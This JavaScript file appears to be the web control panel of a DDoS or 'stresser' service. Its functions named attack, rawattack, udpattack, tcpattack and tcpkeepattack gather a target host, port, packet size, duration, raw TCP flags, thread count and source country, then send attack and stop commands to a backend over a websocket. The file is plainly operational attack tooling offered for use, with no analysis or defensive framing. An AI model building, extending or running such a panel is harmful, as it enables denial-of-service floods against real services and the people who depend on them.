var mode ="Raw Mode";
$('#myTab').on('shown.bs.tab', function (e) {
    mode = $(e.target).text();
})

function stopattack(){
	let tmp = {};
	tmp.code="1";
    console.log(JSON.stringify(tmp))
	myws.send(JSON.stringify(tmp));
    
}
function attack(){
	switch (mode) {
		case"Raw Mode":
	    rawattack();break;
		case "Udp Mode":
		udpattack();break;
		case "Tcp Mode":
		tcpattack();break;
		case "Tcp-Keep Mode":
		tcpkeepattack();break;
	}
}

function rawattack(){
	let data = {};
	data.code="0";
	data.type="Raw Mode";
	data.target=$("input:text[id=rawtarget]").val();
	data.port=$("input:text[id=rawport]").val();
	data.size=$("input:text[id=rawsize]").val();
	data.time=$("input:text[id=rawtime]").val();
	data.hex=$("input:text[id=rawhex]").val();
	if ($("input:checkbox[id=ASYN]:checked").val()){
		data.rawtag="SYN"
	}
    if ($("input:checkbox[id=AACK]:checked").val()){
		data.rawtag=data.rawtag+"ACK"
	}
    if ($("input:checkbox[id=APSH]:checked").val()){
		data.rawtag=data.rawtag+"PSH"
	}
	if ($("input:checkbox[id=ARST]:checked").val()){
		data.rawtag=data.rawtag+"RST"
	}
    if ($("input:checkbox[id=AFIN]:checked").val()){
		data.rawtag=data.rawtag+"FIN"
	}
    if ($("input:checkbox[id=AURG]:checked").val()){
		data.rawtag=data.rawtag+"URG"
	}
    let myselect=document.getElementById("sel1");
    data.country=myselect.options[myselect.selectedIndex].text;
	for (let i = 0; i<5;i++){
		let tmp = $("input:radio[id=rawradio"+i.toString()+"]:checked").val();
		if (tmp){
			switch (i) {
				case 0: data.tab="Raw"; myws.send(JSON.stringify(data)); break
				case 1: data.tab="强制Udp"; myws.send(JSON.stringify(data)); break
				case 2: data.tab="强制Udp指纹"; myws.send(JSON.stringify(data)); break
				case 3: data.tab="强制Udp封包"; myws.send(JSON.stringify(data)); break
			}
		}
	}
}
function udpattack(){
	let data = {};
	data.code="0";
	data.type="Udp Mode";
	data.target=$("input:text[id=udptarget]").val();
	data.port=$("input:text[id=udpport]").val();
	data.size=$("input:text[id=udpsize]").val();
	data.time=$("input:text[id=udptime]").val();
	data.hex=$("input:text[id=udphex]").val();
    let myselect=document.getElementById("sel1");
    data.country=myselect.options[myselect.selectedIndex].text;
	for (let i = 0; i<3;i++){
	let tmp = $("input:radio[id=udpradio"+i.toString()+"]:checked").val();
		if (tmp){
			switch (i) {
				case 0: data.tab="Udp"; myws.send(JSON.stringify(data)); break
				case 1: data.tab="Udp指纹"; myws.send(JSON.stringify(data)); break
				case 2: data.tab="Udp封包"; myws.send(JSON.stringify(data)); break
			}	
		}
	}
}
function tcpattack(){
	let data = {};
	data.code="0";
	data.type="Tcp Mode";
	data.target=$("input:text[id=tcptarget]").val();
	data.port=$("input:text[id=tcpport]").val();
	data.size=$("input:text[id=tcpsize]").val();
	data.time=$("input:text[id=tcptime]").val();
	data.hex=$("input:text[id=tcphex]").val();
    data.createtime=$("input:text[id=tcpcreatetime]").val();
    data.thread=$("input:text[id=tcpthread]").val();
    let myselect=document.getElementById("sel1");
    data.country=myselect.options[myselect.selectedIndex].text;
	for (let i = 0; i<3;i++){
	let tmp = $("input:radio[id=tcpradio"+i.toString()+"]:checked").val();
		if (tmp){
			switch (i) {
				case 0: data.tab="Tcp"; myws.send(JSON.stringify(data)); break
				case 1: data.tab="Tcp指纹"; myws.send(JSON.stringify(data)); break
				case 2: data.tab="Tcp封包"; myws.send(JSON.stringify(data)); break
			}	
		}
	}
}
function tcpkeepattack(){
	let data = {};
	data.code="0";
	data.type="Tcp-Keep Mode";
	data.target=$("input:text[id=tcp-Keeptarget]").val();
	data.port=$("input:text[id=tcp-Keepport]").val();
	data.size=$("input:text[id=tcp-Keepsize]").val();
	data.time=$("input:text[id=tcp-Keeptime]").val();
	data.hex=$("input:text[id=tcp-Keephex]").val();
    data.sendtime=$("input:text[id=tcp-Keepsendtime]").val();
    data.thread=$("input:text[id=tcp-Keepthread]").val();
    let myselect=document.getElementById("sel1");
    data.country=myselect.options[myselect.selectedIndex].text;
	for (let i = 0; i<3;i++){
	let tmp = $("input:radio[id=tcp-Keepradio"+i.toString()+"]:checked").val();
		if (tmp){
			switch (i) {
				case 0: data.tab="Tcp-Keep"; myws.send(JSON.stringify(data)); break
				case 1: data.tab="Tcp-Keep指纹"; myws.send(JSON.stringify(data)); break
				case 2: data.tab="Tcp-Keep封包"; myws.send(JSON.stringify(data)); break
			}	
		}
	}
}

